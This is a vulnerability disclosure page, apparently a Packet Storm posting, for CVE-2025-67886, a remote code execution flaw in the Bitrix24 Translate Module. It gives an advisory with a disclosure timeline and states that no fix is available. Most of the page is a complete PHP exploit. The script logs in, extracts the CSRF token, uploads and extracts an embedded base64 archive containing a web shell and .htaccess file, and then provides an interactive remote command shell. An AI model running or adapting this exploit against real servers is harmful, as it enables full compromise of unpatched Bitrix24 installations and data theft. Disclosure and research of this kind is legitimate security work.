Bitrix24 25.100.300 Remote Code Execution

While specific details for a Remote Code Execution (RCE) vulnerability While specific details for a Remote Code Execution (RCE) vulnerability directly tied to Bitrix24 version 25.100.300 are not widely documented, past RCEs in Bitrix24 (e.g., affecting versions prior to 22.0.300) involved critical flaws.

These vulnerabilities typically allowed attackers to execute arbitrary PHP code on the server, often via insecure deserialization or improper input validation on administrative endpoints. Successful exploitation could lead to full system compromise and data exfiltration. Users should always keep Bitrix24 updated and apply all security patches to mitigate such risks.

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Bitrix24 <= 25.100.300 (Translate Module) Remote Code Execution Vulnerability
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[-] Software Link:

https://www.bitrix24.com


[-] Affected Versions:

Version 25.100.300 and prior versions.


[-] Vulnerability Description:

The vulnerability is located within the "Translate Module", which
allows users to upload and extract archive files into a temporary
directory. However, the application fails to properly verify the
contents of these archives before extracting them. This can be
exploited by malicious users to upload and execute arbitrary PHP code
by including a PHP file along with a specially crafted .htaccess file
within the archive.

Successful exploitation of this vulnerability requires an account with
"SOURCE" and "WRITE" permissions for the "Translate Module".


[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2025-67886.php


[-] Solution:

No official solution is currently available.


[-] Disclosure Timeline:

[22/10/2025] - Vendor notified, no response
[03/11/2025] - Vendor contacted again, no response
[12/11/2025] - CVE identifier requested
[12/12/2025] - CVE identifier assigned
[15/12/2025] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures program (cve.org) has
assigned the name CVE-2025-67886 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2025-07


--- proof of concept (attached by Packet Storm) ---

<?php

/*
-----------------------------------------------------------------------------
Bitrix24 <= 25.100.300 (Translate Module) Remote Code Execution Vulnerability
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author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.bitrix24.com

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Original Advisory:

https://karmainsecurity.com/KIS-2025-07
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");

$url = $argv[1];
$user = $argv[2];
$passwd = $argv[3];
$ch = curl_init();

@unlink('./cookies.txt');

curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
//curl_setopt($ch, CURLOPT_PROXY, 'http://127.0.0.1:8080');

print "[+] Logging into Bitrix\n";

curl_setopt($ch, CURLOPT_URL, "{$url}");
curl_setopt($ch, CURLOPT_POSTFIELDS, "AUTH_FORM=1&TYPE=AUTH&USER_LOGIN={$user}&USER_PASSWORD={$passwd}");

if (!preg_match("/BITRIX_SM_LOGIN/", curl_exec($ch))) die("[-] Login failed!\n");

curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/"bitrix_sessid":"([^"]+)"/', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");

print "[+] Uploading malicious archive\n";

@file_put_contents("rce.tar.gz", base64_decode("H4sIAAAAAAAAA+3VQWvCMBQH8F71U+Qw6DyoTaftwaKH4XCHwVDZZRsla582ENvQRPC0z75Y2Jg7THZwIvx/lxfa9/qSlkdNQUr1dKG90wmcKBrsI4+HwffY4GHo8WEQN8to6AWc3wy4x4IT7unL1lhRM+bRWu5+yzt2/0IlE/ftma5laZmfOv6IaWGMLert9ZswFA3SnLIqp+urdDGdP03nz/5suXxMb/3XTmf0o3Qybp/7RPAXvcKKLCNjTtjj2PyHYbyf/yiOY87d4DfzH2L+/0Nyv3qo8q0itqnydCM31MvG7VZyJxUZ9s5e9v8Gd6G1IDsTZa6oZkJrJTNhZVX2d93CWp13XZar6jdl43bS/3ysWx90cHlNAxfTlRJrRuValsSq8qDo3K8FAAAAAAAAAAAAAAAAAAAA4GJ8AJ02kYkAKAAA"));

curl_setopt($ch, CURLOPT_URL, "{$url}bitrix/services/main/ajax.php?action=translate.asset.grabber.upload");
curl_setopt($ch, CURLOPT_POSTFIELDS, ["sessid" => $csrf[1], "tarFile" => new CURLFile("rce.tar.gz")]);

if (!preg_match('/"status":"success"/', curl_exec($ch))) die("[-] Upload failed!\n");

print "[+] Extracting malicious archive\n";

curl_setopt($ch, CURLOPT_URL, "{$url}bitrix/services/main/ajax.php?action=translate.asset.grabber.extract");
curl_setopt($ch, CURLOPT_POSTFIELDS, ["sessid" => $csrf[1]]);

if (!preg_match('/"status":"success"/', curl_exec($ch))) die("[-] Extract failed!\n");

curl_setopt($ch, CURLOPT_URL, "{$url}bitrix/services/main/ajax.php?action=translate.asset.grabber.apply");
curl_setopt($ch, CURLOPT_POSTFIELDS, ["sessid" => $csrf[1], "PROCESS_TOKEN" => 1, "languageId" => "en"]);

if (!preg_match('/upload\\\\\/tmp[^"]+"/', curl_exec($ch), $path)) die("[-] Path not found!\n");

$path = str_replace('\/', '/', substr($path[0], 0, -8));

print "[+] Launching shell\n";

curl_setopt($ch, CURLOPT_URL, "{$url}{$path}/shell.php");
curl_setopt($ch, CURLOPT_POST, false);

while(1)
{
print "\nbitrix-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}